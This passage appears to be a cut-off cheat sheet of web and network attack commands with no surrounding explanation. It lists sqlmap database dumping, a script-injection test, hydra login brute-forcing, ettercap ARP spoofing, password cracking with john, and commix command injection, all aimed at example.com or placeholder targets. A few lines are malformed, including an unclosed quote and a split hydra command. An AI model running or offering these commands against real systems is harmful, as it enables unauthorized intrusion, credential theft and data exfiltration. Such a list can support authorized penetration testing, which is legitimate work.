a query.

sqlmap -u "http://example.com/vulnerable\_input" –dbs

Inputting <script>alert('Hacked!');</script> into a comment section to see if it executes.

hydra -l admin -P wordlist.txt example.com http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"

sqlmap -u <target\_url> [options]

sqlmap -u "http://example.com/search.php?id=1" –dbs

sqlmap -u "http://example.com/search.php?id=1" -D database\_name -T table\_name –dump

ettercap -T -i eth0 -M arp:remote /target1\_IP/ /target2\_IP/

hydra -L userlist.txt -P passlist.txt example.com http-post-form

"/login.php:username=^USER^&password=^PASS^:F=Incorrect"

nmap --script http-vuln\* -p 80,443 example.com

nikto -h <http://example.com>

wpscan --url <http://example.com>

msfconsole use exploit/multi/http/...

hydra -l admin -P /path/to/wordlist.txt example.com http-post-form "/login:username=^USER^&password=^PASS^: F=incorrect"

john --wordlist=/path/to/wordlist.txt /path/to/hashfile

beef-xss

sqlmap -u "http://example.com/page?parameter=value

commix -u "http://example.com/page?parameter=value"